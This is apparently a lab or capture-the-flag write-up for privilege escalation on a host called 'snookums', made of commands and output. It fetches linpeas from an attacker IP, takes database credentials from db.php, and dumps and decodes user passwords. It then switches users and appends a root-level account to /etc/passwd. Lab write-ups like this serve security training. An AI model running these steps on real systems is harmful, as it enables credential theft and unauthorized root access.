privilege escalation [Got-MySQL]
python3 -m http.server 21 -d /usr/share/peass/linpeas/
# In victim machine
wget http://192.168.45.233:21/linpeas.sh








Reading db.php file content






Last updated
python3 -m http.server 21 -d /usr/share/peass/linpeas/
# In victim machine
wget http://192.168.45.233:21/linpeas.sh














Last updated
bash-4.2$ cat /var/www/html/db.php
cat /var/www/html/db.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
define('DBNAME', 'SimplePHPGal');
?>
mysql -u root -p'MalapropDoffUtilize1337'
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| SimplePHPGal |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use SimplePHPGal
use SimplePHPGal
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+------------------------+
| Tables_in_SimplePHPGal |
+------------------------+
| users |
+------------------------+
1 row in set (0.00 sec)
mysql> select * from users;
select * from users;
+----------+----------------------------------------------+
| username | password |
+----------+----------------------------------------------+
| josh | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= |
| michael | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ== |
| serena | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ== |
+----------+----------------------------------------------+
3 rows in set (0.00 sec)
josh: MobilizeHissSeedtime747
michael: HockSydneyCertify123
serena: OverallCrestLean000bash-4.2$ su michael
su michael
Password: HockSydneyCertify123
# make sure you do this steps in the vulnerable system (target system)
# Generate a password hash:
[michael@snookums temp]$ openssl passwd root
openssl passwd root
KcThJmp2oiG4Q
# Add a new user with root privileges:
[michael@snookums temp]$ echo "root2:KcThJmp2oiG4Q:0:0:root:/root:/bin/bash" >> /etc/passwd
# Switch to the new root user:
su root2